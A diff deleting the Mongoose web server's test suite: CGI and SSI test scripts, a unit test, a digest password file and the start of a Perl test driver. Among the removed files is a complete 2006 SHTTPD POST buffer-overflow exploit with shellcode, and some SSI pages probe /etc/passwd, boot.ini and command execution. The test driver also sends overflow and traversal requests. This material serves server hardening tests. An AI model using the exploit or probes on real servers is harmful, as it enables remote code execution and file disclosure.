|
|
||||||
// request_info: pointer to a structure that will hold parsed reply headers
|
|
||||||
// buf, bul_len: a buffer for the reply headers
|
|
||||||
// Return:
|
|
||||||
// On error, NULL
|
|
||||||
// On success, opened file stream to the downloaded contents. The stream
|
|
||||||
// is positioned to the end of the file. It is a user responsibility
|
|
||||||
// to fclose() opened file stream.
|
|
||||||
FILE *mg_fetch(struct mg_context *ctx, const char *url, const char *path,
|
|
||||||
char *buf, size_t buf_len, struct mg_request_info *request_info);
|
|
||||||
|
|
||||||
|
|
||||||
// Convenience function -- create detached thread.
|
|
||||||
// Return: 0 on success, non-0 on error.
|
|
||||||
typedef void * (*mg_thread_func_t)(void *);
|
|
||||||
int mg_start_thread(mg_thread_func_t f, void *p);
|
|
||||||
|
|
||||||
|
|
||||||
// Return builtin mime type for the given file name.
|
|
||||||
// For unrecognized extensions, "text/plain" is returned.
|
|
||||||
const char *mg_get_builtin_mime_type(const char *file_name);
|
|
||||||
|
|
||||||
|
|
||||||
// Return Mongoose version.
|
|
||||||
const char *mg_version(void);
|
|
||||||
|
|
||||||
|
|
||||||
// MD5 hash given strings.
|
|
||||||
// Buffer 'buf' must be 33 bytes long. Varargs is a NULL terminated list of
|
|
||||||
// asciiz strings. When function returns, buf will contain human-readable
|
|
||||||
// MD5 hash. Example:
|
|
||||||
// char buf[33];
|
|
||||||
// mg_md5(buf, "aa", "bb", NULL);
|
|
||||||
void mg_md5(char *buf, ...);
|
|
||||||
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
|
|||||||
@@ -1 +0,0 @@
|
|||||||
abc123
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
blah
|
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
#!/usr/bin/env perl
|
|
||||||
|
|
||||||
@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
|
|
||||||
my $num_flags = @flags;
|
|
||||||
|
|
||||||
sub fail {
|
|
||||||
print "FAILED: @_\n";
|
|
||||||
exit 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
my $platform = $ARGV[0] || "linux";
|
|
||||||
|
|
||||||
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
|
|
||||||
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
|
|
||||||
my @combination = ();
|
|
||||||
for (my $j = 0; $j < $num_flags; $j++) {
|
|
||||||
push @combination, $flags[$j] if substr($bitmask, $j, 1);
|
|
||||||
}
|
|
||||||
my $defines = join(" ", map { "-D$_" } @combination);
|
|
||||||
my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
|
|
||||||
system($cmd) == 0 or fail "build failed: $_";
|
|
||||||
print "Build succeeded, flags: [$defines]\n";
|
|
||||||
system("perl test/test.pl basic_tests >/dev/null") == 0
|
|
||||||
or fail "basic tests";
|
|
||||||
print "Basic tests: OK\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
print "PASS: All builds passed!\n";
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
|
|
||||||
echo "echoing bad headers: server must report status 500"
|
|
||||||
exec 1>&2
|
|
||||||
echo shit!!!
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
#!/usr/bin/env perl
|
|
||||||
|
|
||||||
print "Status: 123 Please pass me to the client\r\n\r\n";
|
|
||||||
-181
@@ -1,181 +0,0 @@
|
|||||||
// Copyright (c) 2004-2009 Sergey Lyubka
|
|
||||||
//
|
|
||||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
|
||||||
// of this software and associated documentation files (the "Software"), to deal
|
|
||||||
// in the Software without restriction, including without limitation the rights
|
|
||||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
|
||||||
// copies of the Software, and to permit persons to whom the Software is
|
|
||||||
// furnished to do so, subject to the following conditions:
|
|
||||||
//
|
|
||||||
// The above copyright notice and this permission notice shall be included in
|
|
||||||
// all copies or substantial portions of the Software.
|
|
||||||
//
|
|
||||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
|
||||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
|
||||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
|
||||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
|
||||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
|
||||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
|
|
||||||
// THE SOFTWARE.
|
|
||||||
//
|
|
||||||
// Unit test for the mongoose web server. Tests embedded API.
|
|
||||||
|
|
||||||
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#ifndef _WIN32
|
|
||||||
#include <unistd.h>
|
|
||||||
#endif
|
|
||||||
|
|
||||||
#include "mongoose.h"
|
|
||||||
|
|
||||||
#if !defined(LISTENING_PORT)
|
|
||||||
#define LISTENING_PORT "23456"
|
|
||||||
#endif
|
|
||||||
|
|
||||||
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
|
|
||||||
"Content-Type: text/plain\r\n"
|
|
||||||
"Connection: close\r\n\r\n";
|
|
||||||
|
|
||||||
static void test_get_var(struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *ri) {
|
|
||||||
char *var, *buf;
|
|
||||||
size_t buf_len;
|
|
||||||
const char *cl;
|
|
||||||
int var_len;
|
|
||||||
|
|
||||||
mg_printf(conn, "%s", standard_reply);
|
|
||||||
|
|
||||||
buf_len = 0;
|
|
||||||
var = buf = NULL;
|
|
||||||
cl = mg_get_header(conn, "Content-Length");
|
|
||||||
mg_printf(conn, "cl: %p\n", cl);
|
|
||||||
if ((!strcmp(ri->request_method, "POST") ||
|
|
||||||
!strcmp(ri->request_method, "PUT"))
|
|
||||||
&& cl != NULL) {
|
|
||||||
buf_len = atoi(cl);
|
|
||||||
buf = malloc(buf_len);
|
|
||||||
/* Read in two pieces, to test continuation */
|
|
||||||
if (buf_len > 2) {
|
|
||||||
mg_read(conn, buf, 2);
|
|
||||||
mg_read(conn, buf + 2, buf_len - 2);
|
|
||||||
} else {
|
|
||||||
mg_read(conn, buf, buf_len);
|
|
||||||
}
|
|
||||||
} else if (ri->query_string != NULL) {
|
|
||||||
buf_len = strlen(ri->query_string);
|
|
||||||
buf = malloc(buf_len + 1);
|
|
||||||
strcpy(buf, ri->query_string);
|
|
||||||
}
|
|
||||||
var = malloc(buf_len + 1);
|
|
||||||
var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
|
|
||||||
mg_printf(conn, "Value: [%s]\n", var);
|
|
||||||
mg_printf(conn, "Value size: [%d]\n", var_len);
|
|
||||||
free(buf);
|
|
||||||
free(var);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void test_get_header(struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *ri) {
|
|
||||||
const char *value;
|
|
||||||
int i;
|
|
||||||
|
|
||||||
mg_printf(conn, "%s", standard_reply);
|
|
||||||
printf("HTTP headers: %d\n", ri->num_headers);
|
|
||||||
for (i = 0; i < ri->num_headers; i++) {
|
|
||||||
printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
|
|
||||||
}
|
|
||||||
|
|
||||||
value = mg_get_header(conn, "Host");
|
|
||||||
if (value != NULL) {
|
|
||||||
mg_printf(conn, "Value: [%s]", value);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static void test_get_request_info(struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *ri) {
|
|
||||||
int i;
|
|
||||||
|
|
||||||
mg_printf(conn, "%s", standard_reply);
|
|
||||||
|
|
||||||
mg_printf(conn, "Method: [%s]\n", ri->request_method);
|
|
||||||
mg_printf(conn, "URI: [%s]\n", ri->uri);
|
|
||||||
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
|
|
||||||
|
|
||||||
for (i = 0; i < ri->num_headers; i++) {
|
|
||||||
mg_printf(conn, "HTTP header [%s]: [%s]\n",
|
|
||||||
ri->http_headers[i].name,
|
|
||||||
ri->http_headers[i].value);
|
|
||||||
}
|
|
||||||
|
|
||||||
mg_printf(conn, "Query string: [%s]\n",
|
|
||||||
ri->query_string ? ri->query_string: "");
|
|
||||||
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
|
|
||||||
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
|
|
||||||
mg_printf(conn, "Remote user: [%s]\n",
|
|
||||||
ri->remote_user ? ri->remote_user : "");
|
|
||||||
}
|
|
||||||
|
|
||||||
static void test_error(struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *ri) {
|
|
||||||
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
|
|
||||||
"Conntection: close\r\n\r\n", ri->status_code);
|
|
||||||
mg_printf(conn, "Error: [%d]", ri->status_code);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void test_post(struct mg_connection *conn,
|
|
||||||
const struct mg_request_info *ri) {
|
|
||||||
const char *cl;
|
|
||||||
char *buf;
|
|
||||||
int len;
|
|
||||||
|
|
||||||
mg_printf(conn, "%s", standard_reply);
|
|
||||||
if (strcmp(ri->request_method, "POST") == 0 &&
|
|
||||||
(cl = mg_get_header(conn, "Content-Length")) != NULL) {
|
|
||||||
len = atoi(cl);
|
|
||||||
if ((buf = malloc(len)) != NULL) {
|
|
||||||
mg_write(conn, buf, len);
|
|
||||||
free(buf);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
static const struct test_config {
|
|
||||||
enum mg_event event;
|
|
||||||
const char *uri;
|
|
||||||
void (*func)(struct mg_connection *, const struct mg_request_info *);
|
|
||||||
} test_config[] = {
|
|
||||||
{MG_NEW_REQUEST, "/test_get_header", &test_get_header},
|
|
||||||
{MG_NEW_REQUEST, "/test_get_var", &test_get_var},
|
|
||||||
{MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
|
|
||||||
{MG_NEW_REQUEST, "/test_post", &test_post},
|
|
||||||
{MG_HTTP_ERROR, "", &test_error},
|
|
||||||
{0, NULL, NULL}
|
|
||||||
};
|
|
||||||
|
|
||||||
static void *callback(enum mg_event event,
|
|
||||||
struct mg_connection *conn) {
|
|
||||||
const struct mg_request_info *request_info = mg_get_request_info(conn);
|
|
||||||
int i;
|
|
||||||
|
|
||||||
for (i = 0; test_config[i].uri != NULL; i++) {
|
|
||||||
if (event == test_config[i].event &&
|
|
||||||
(event == MG_HTTP_ERROR ||
|
|
||||||
!strcmp(request_info->uri, test_config[i].uri))) {
|
|
||||||
test_config[i].func(conn, request_info);
|
|
||||||
return "processed";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return NULL;
|
|
||||||
}
|
|
||||||
|
|
||||||
int main(void) {
|
|
||||||
struct mg_context *ctx;
|
|
||||||
const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
|
|
||||||
|
|
||||||
ctx = mg_start(callback, NULL, options);
|
|
||||||
pause();
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,46 +0,0 @@
|
|||||||
#!/usr/bin/env perl
|
|
||||||
|
|
||||||
use Cwd;
|
|
||||||
use CGI;
|
|
||||||
|
|
||||||
use vars '%in';
|
|
||||||
CGI::ReadParse();
|
|
||||||
|
|
||||||
print "Content-Type: text/html\r\n\r\n";
|
|
||||||
|
|
||||||
print "<pre>\n";
|
|
||||||
foreach my $key (sort keys %ENV) {
|
|
||||||
print "$key=$ENV{$key}\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
print "\n";
|
|
||||||
|
|
||||||
foreach my $key (sort keys %in) {
|
|
||||||
print "$key=$in{$key}\n";
|
|
||||||
}
|
|
||||||
|
|
||||||
print "\n";
|
|
||||||
|
|
||||||
print 'CURRENT_DIR=' . getcwd() . "\n";
|
|
||||||
print "</pre>\n";
|
|
||||||
|
|
||||||
my $stuff = <<EOP ;
|
|
||||||
<script language="javascript">
|
|
||||||
function set_val() {
|
|
||||||
}
|
|
||||||
</script>
|
|
||||||
<form method=get>
|
|
||||||
<input type=hidden name=a>
|
|
||||||
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
|
|
||||||
<input type=submit value=get>
|
|
||||||
</form>
|
|
||||||
|
|
||||||
<form method=post>
|
|
||||||
<input type=text name=b>
|
|
||||||
<input type=submit value=post>
|
|
||||||
</form>
|
|
||||||
EOP
|
|
||||||
|
|
||||||
#system('some shit');
|
|
||||||
|
|
||||||
print $stuff;
|
|
||||||
@@ -1,69 +0,0 @@
|
|||||||
#!/usr/bin/perl -w
|
|
||||||
|
|
||||||
# SHTTPD Buffer Overflow (POST)
|
|
||||||
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
|
|
||||||
# http://shttpd.sourceforge.net
|
|
||||||
# Codded By SkOd, 05/10/2006
|
|
||||||
# ISRAEL
|
|
||||||
#
|
|
||||||
# details:
|
|
||||||
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
|
|
||||||
# EBX 00000004 , EIP 41414141 , EBP 41414141
|
|
||||||
# ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
|
|
||||||
# ESP 009EFC08 ASCII 41,"AA...AAA"
|
|
||||||
|
|
||||||
|
|
||||||
use IO::Socket;
|
|
||||||
|
|
||||||
sub fail(){
|
|
||||||
syswrite STDOUT, "[-]Connect failed.\n";
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub header()
|
|
||||||
{
|
|
||||||
print("##################################\n");
|
|
||||||
print("SHTTPD (POST) Buffer Overflow.\n");
|
|
||||||
print("[http://shttpd.sourceforge.net]\n");
|
|
||||||
print("Codded By SkOd, 05/10/2006\n");
|
|
||||||
print("##################################\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
if (@ARGV < 1)
|
|
||||||
{
|
|
||||||
&header();
|
|
||||||
print("Usage: Perl shttpd.pl [host]\n");
|
|
||||||
exit;
|
|
||||||
}
|
|
||||||
|
|
||||||
&header();
|
|
||||||
$host=$ARGV[0];
|
|
||||||
$port="80";
|
|
||||||
$host=~ s/(http:\/\/)//eg;
|
|
||||||
|
|
||||||
#win32_exec- CMD=calc Size=160 (metasploit.com)
|
|
||||||
$shell =
|
|
||||||
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
|
|
||||||
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
|
|
||||||
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
|
|
||||||
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
|
|
||||||
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
|
|
||||||
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
|
|
||||||
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
|
|
||||||
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
|
|
||||||
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";
|
|
||||||
|
|
||||||
|
|
||||||
$esp="%73%C3%2A%4F"; #[4F2AC373]JMP ESP (kernel32.dll) WinXP SP1(Hebrew)
|
|
||||||
$buff=("%41"x8).$esp.("%90"x85).$shell; #Shellcode+NOP=245
|
|
||||||
|
|
||||||
print length($buff) . "\n";
|
|
||||||
|
|
||||||
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "$port") || &fail();
|
|
||||||
syswrite STDOUT,"[+]Connected.\n";
|
|
||||||
print $sock "POST /$buff HTTP/1.1\n";
|
|
||||||
print $sock "HOST:$host\n\n";
|
|
||||||
syswrite STDOUT,"[+]Done.\n";
|
|
||||||
close($sock);
|
|
||||||
|
|
||||||
# milw0rm.com [2006-10-05]
|
|
||||||
@@ -1,6 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
|
|
||||||
echo "Content-Type: text/plain"
|
|
||||||
echo
|
|
||||||
|
|
||||||
echo $QUERY_STRING
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
simple text file
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
guest:mydomain.com:485264dcc977a1925370b89d516a1477
|
|
||||||
Administrator:mydomain.com:e32daa3028eba04dc53e2d781e6fc983
|
|
||||||
|
|
||||||
@@ -1,6 +0,0 @@
|
|||||||
#!/bin/sh
|
|
||||||
|
|
||||||
echo "Content-Type: text/plain"
|
|
||||||
echo
|
|
||||||
|
|
||||||
echo "This is shell script CGI."
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
<html><pre>
|
|
||||||
ssi_begin
|
|
||||||
<!--#include file="Makefile" -->
|
|
||||||
ssi_end
|
|
||||||
</pre></html>
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
<html><pre>
|
|
||||||
ssi_begin
|
|
||||||
<!--#include virtual="embed.c" -->
|
|
||||||
ssi_end
|
|
||||||
</pre></html>
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
<html><pre>
|
|
||||||
ssi_begin
|
|
||||||
<!--#exec "ls -l" -->
|
|
||||||
ssi_end
|
|
||||||
</pre></html>
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
<html><pre>
|
|
||||||
ssi_begin
|
|
||||||
<!--#exec "dir /w" -->
|
|
||||||
ssi_end
|
|
||||||
</pre></html>
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
<html><pre>
|
|
||||||
ssi_begin
|
|
||||||
<!--#include file="/etc/passwd" -->
|
|
||||||
ssi_end
|
|
||||||
</pre></html>
|
|
||||||
@@ -1,5 +0,0 @@
|
|||||||
<html><pre>
|
|
||||||
ssi_begin
|
|
||||||
<!--#include file="c:\boot.ini" -->
|
|
||||||
ssi_end
|
|
||||||
</pre></html>
|
|
||||||
@@ -1,6 +0,0 @@
|
|||||||
|
|
||||||
<html><pre>
|
|
||||||
ssi_begin
|
|
||||||
<!--#include "embed.c" -->
|
|
||||||
ssi_end
|
|
||||||
</pre></html>
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
<!--#include "ssi9.shtml" -->
|
|
||||||
@@ -1,3 +0,0 @@
|
|||||||
ssi_begin
|
|
||||||
<!--#include file="Makefile" -->
|
|
||||||
ssi_end
|
|
||||||
-533
@@ -1,533 +0,0 @@
|
|||||||
#!/usr/bin/env perl
|
|
||||||
# This script is used to test Mongoose web server
|
|
||||||
# $Id: test.pl 516 2010-05-03 12:54:37Z valenok $
|
|
||||||
|
|
||||||
use IO::Socket;
|
|
||||||
use File::Path;
|
|
||||||
use strict;
|
|
||||||
use warnings;
|
|
||||||
#use diagnostics;
|
|
||||||
|
|
||||||
sub on_windows { $^O =~ /win32/i; }
|
|
||||||
|
|
||||||
my $port = 23456;
|
|
||||||
my $pid = undef;
|
|
||||||
my $num_requests;
|
|
||||||
my $dir_separator = on_windows() ? '\\' : '/';
|
|
||||||
my $copy_cmd = on_windows() ? 'copy' : 'cp';
|
|
||||||
my $test_dir_uri = "test_dir";
|
|
||||||
my $root = 'test';
|
|
||||||
my $test_dir = $root . $dir_separator. $test_dir_uri;
|
|
||||||
my $config = 'mongoose.conf';
|
|
||||||
my $exe = '.' . $dir_separator . 'mongoose';
|
|
||||||
my $embed_exe = '.' . $dir_separator . 'embed';
|
|
||||||
my $unit_test_exe = '.' . $dir_separator . 'unit_test';
|
|
||||||
my $exit_code = 0;
|
|
||||||
|
|
||||||
my @files_to_delete = ('debug.log', 'access.log', $config, "$root/a/put.txt",
|
|
||||||
"$root/a+.txt", "$root/.htpasswd", "$root/binary_file", "$root/a",
|
|
||||||
"$root/myperl", $embed_exe, $unit_test_exe);
|
|
||||||
|
|
||||||
END {
|
|
||||||
unlink @files_to_delete;
|
|
||||||
kill_spawned_child();
|
|
||||||
File::Path::rmtree($test_dir);
|
|
||||||
exit $exit_code;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub fail {
|
|
||||||
print "FAILED: @_\n";
|
|
||||||
$exit_code = 1;
|
|
||||||
exit 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub get_num_of_log_entries {
|
|
||||||
open FD, "access.log" or return 0;
|
|
||||||
my @lines = (<FD>);
|
|
||||||
close FD;
|
|
||||||
return scalar @lines;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Send the request to the 127.0.0.1:$port and return the reply
|
|
||||||
sub req {
|
|
||||||
my ($request, $inc, $timeout) = @_;
|
|
||||||
my $sock = IO::Socket::INET->new(Proto=>"tcp",
|
|
||||||
PeerAddr=>'127.0.0.1', PeerPort=>$port);
|
|
||||||
fail("Cannot connect: $!") unless $sock;
|
|
||||||
$sock->autoflush(1);
|
|
||||||
foreach my $byte (split //, $request) {
|
|
||||||
last unless print $sock $byte;
|
|
||||||
select undef, undef, undef, .001 if length($request) < 256;
|
|
||||||
}
|
|
||||||
my ($out, $buf) = ('', '');
|
|
||||||
eval {
|
|
||||||
alarm $timeout if $timeout;
|
|
||||||
$out .= $buf while (sysread($sock, $buf, 1024) > 0);
|
|
||||||
alarm 0 if $timeout;
|
|
||||||
};
|
|
||||||
close $sock;
|
|
||||||
|
|
||||||
$num_requests += defined($inc) ? $inc : 1;
|
|
||||||
my $num_logs = get_num_of_log_entries();
|
|
||||||
|
|
||||||
unless ($num_requests == $num_logs) {
|
|
||||||
fail("Request has not been logged: [$request], output: [$out]");
|
|
||||||
}
|
|
||||||
|
|
||||||
return $out;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Send the request. Compare with the expected reply. Fail if no match
|
|
||||||
sub o {
|
|
||||||
my ($request, $expected_reply, $message, $num_logs) = @_;
|
|
||||||
print "==> $message ... ";
|
|
||||||
my $reply = req($request, $num_logs);
|
|
||||||
if ($reply =~ /$expected_reply/s) {
|
|
||||||
print "OK\n";
|
|
||||||
} else {
|
|
||||||
#fail("Requested: [$request]\nExpected: [$expected_reply], got: [$reply]");
|
|
||||||
fail("Expected: [$expected_reply], got: [$reply]");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# Spawn a server listening on specified port
|
|
||||||
sub spawn {
|
|
||||||
my ($cmdline) = @_;
|
|
||||||
print 'Executing: ', @_, "\n";
|
|
||||||
if (on_windows()) {
|
|
||||||
my @args = split /\s+/, $cmdline;
|
|
||||||
my $executable = $args[0];
|
|
||||||
$executable .= '.exe';
|
|
||||||
Win32::Spawn($executable, $cmdline, $pid);
|
|
||||||
die "Cannot spawn @_: $!" unless $pid;
|
|
||||||
} else {
|
|
||||||
unless ($pid = fork()) {
|
|
||||||
exec $cmdline;
|
|
||||||
die "cannot exec [$cmdline]: $!\n";
|
|
||||||
}
|
|
||||||
}
|
|
||||||
sleep 1;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub write_file {
|
|
||||||
open FD, ">$_[0]" or fail "Cannot open $_[0]: $!";
|
|
||||||
binmode FD;
|
|
||||||
print FD $_[1];
|
|
||||||
close FD;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub read_file {
|
|
||||||
open FD, $_[0] or fail "Cannot open $_[0]: $!";
|
|
||||||
my @lines = <FD>;
|
|
||||||
close FD;
|
|
||||||
return join '', @lines;
|
|
||||||
}
|
|
||||||
|
|
||||||
sub kill_spawned_child {
|
|
||||||
if (defined($pid)) {
|
|
||||||
kill(9, $pid);
|
|
||||||
waitpid($pid, 0);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
####################################################### ENTRY POINT
|
|
||||||
|
|
||||||
unlink @files_to_delete;
|
|
||||||
$SIG{PIPE} = 'IGNORE';
|
|
||||||
$SIG{ALRM} = sub { die "timeout\n" };
|
|
||||||
#local $| =1;
|
|
||||||
|
|
||||||
# Make sure we export only symbols that start with "mg_", and keep local
|
|
||||||
# symbols static.
|
|
||||||
if ($^O =~ /darwin|bsd|linux/) {
|
|
||||||
my $out = `(cc -c mongoose.c && nm mongoose.o) | grep ' T '`;
|
|
||||||
foreach (split /\n/, $out) {
|
|
||||||
/T\s+_?mg_.+/ or fail("Exported symbol $_")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if (scalar(@ARGV) > 0 and $ARGV[0] eq 'embedded') {
|
|
||||||
do_embedded_test();
|
|
||||||
exit 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (scalar(@ARGV) > 0 and $ARGV[0] eq 'unit') {
|
|
||||||
do_unit_test();
|
|
||||||
exit 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
# Make sure we load config file if no options are given.
|
|
||||||
# Command line options override config files settings
|
|
||||||
write_file($config, "access_log_file access.log\nlistening_ports 12345\n");
|
|
||||||
spawn("$exe -p $port");
|
|
||||||
o("GET /test/hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'Loading config file');
|
|
||||||
unlink $config;
|
|
||||||
kill_spawned_child();
|
|
||||||
|
|
||||||
# Spawn the server on port $port
|
|
||||||
my $cmd = "$exe ".
|
|
||||||
"-listening_ports $port ".
|
|
||||||
"-access_log_file access.log ".
|
|
||||||
"-error_log_file debug.log ".
|
|
||||||
"-cgi_environment CGI_FOO=foo,CGI_BAR=bar,CGI_BAZ=baz " .
|
|
||||||
"-extra_mime_types .bar=foo/bar,.tar.gz=blah,.baz=foo " .
|
|
||||||
'-put_delete_passwords_file test/passfile ' .
|
|
||||||
'-access_control_list -0.0.0.0/0,+127.0.0.1 ' .
|
|
||||||
"-document_root $root ".
|
|
||||||
"-hide_files_patterns **exploit.pl ".
|
|
||||||
"-enable_keep_alive yes ".
|
|
||||||
"-url_rewrite_patterns /aiased=/etc/,/ta=$test_dir";
|
|
||||||
$cmd .= ' -cgi_interpreter perl' if on_windows();
|
|
||||||
spawn($cmd);
|
|
||||||
|
|
||||||
o("GET /hello.txt HTTP/1.1\n\n GET /hello.txt HTTP/1.0\n\n",
|
|
||||||
'HTTP/1.1 200.+keep-alive.+HTTP/1.1 200.+close',
|
|
||||||
'Request pipelining', 2);
|
|
||||||
|
|
||||||
my $x = 'x=' . 'A' x (200 * 1024);
|
|
||||||
my $len = length($x);
|
|
||||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: $len\r\n\r\n$x",
|
|
||||||
'^HTTP/1.1 200 OK', 'Long POST');
|
|
||||||
|
|
||||||
# Try to overflow: Send very long request
|
|
||||||
req('POST ' . '/..' x 100 . 'ABCD' x 3000 . "\n\n", 0); # don't log this one
|
|
||||||
|
|
||||||
o("GET /hello.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'GET regular file');
|
|
||||||
o("GET /hello.txt HTTP/1.0\nContent-Length: -2147483648\n\n",
|
|
||||||
'HTTP/1.1 200 OK', 'Negative content length');
|
|
||||||
o("GET /hello.txt HTTP/1.0\n\n", 'Content-Length: 17\s',
|
|
||||||
'GET regular file Content-Length');
|
|
||||||
o("GET /%68%65%6c%6c%6f%2e%74%78%74 HTTP/1.0\n\n",
|
|
||||||
'HTTP/1.1 200 OK', 'URL-decoding');
|
|
||||||
|
|
||||||
# Break CGI reading after 1 second. We must get full output.
|
|
||||||
# Since CGI script does sleep, we sleep as well and increase request count
|
|
||||||
# manually.
|
|
||||||
my $slow_cgi_reply;
|
|
||||||
print "==> Slow CGI output ... ";
|
|
||||||
fail('Slow CGI output forward reply=', $slow_cgi_reply) unless
|
|
||||||
($slow_cgi_reply = req("GET /timeout.cgi HTTP/1.0\r\n\r\n", 0, 1)) =~ /Some data/s;
|
|
||||||
print "OK\n";
|
|
||||||
sleep 3;
|
|
||||||
$num_requests++;
|
|
||||||
|
|
||||||
# '+' in URI must not be URL-decoded to space
|
|
||||||
write_file("$root/a+.txt", '');
|
|
||||||
o("GET /a+.txt HTTP/1.0\n\n", 'HTTP/1.1 200 OK', 'URL-decoding, + in URI');
|
|
||||||
|
|
||||||
o("GET /%5c/a.txt HTTP/1.0\n\n", 'blah', 'GET dir backslash');
|
|
||||||
|
|
||||||
# Test HTTP version parsing
|
|
||||||
o("GET / HTTPX/1.0\r\n\r\n", '400 Bad Request', 'Bad HTTP Version', 0);
|
|
||||||
o("GET / HTTP/x.1\r\n\r\n", '505 HTTP', 'Bad HTTP maj Version');
|
|
||||||
o("GET / HTTP/1.1z\r\n\r\n", '505 HTTP', 'Bad HTTP min Version');
|
|
||||||
o("GET / HTTP/02.0\r\n\r\n", '505 HTTP version not supported',
|
|
||||||
'HTTP Version >1.1');
|
|
||||||
|
|
||||||
# File with leading single dot
|
|
||||||
o("GET /.leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 1');
|
|
||||||
o("GET /...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 2');
|
|
||||||
o("GET /../\\\\/.//...leading.dot.txt HTTP/1.0\n\n", 'abc123', 'Leading dot 3')
|
|
||||||
if on_windows();
|
|
||||||
o("GET .. HTTP/1.0\n\n", '400 Bad Request', 'Leading dot 4', 0);
|
|
||||||
|
|
||||||
mkdir $test_dir unless -d $test_dir;
|
|
||||||
o("GET /$test_dir_uri/not_exist HTTP/1.0\n\n",
|
|
||||||
'HTTP/1.1 404', 'PATH_INFO loop problem');
|
|
||||||
o("GET /$test_dir_uri HTTP/1.0\n\n", 'HTTP/1.1 301', 'Directory redirection');
|
|
||||||
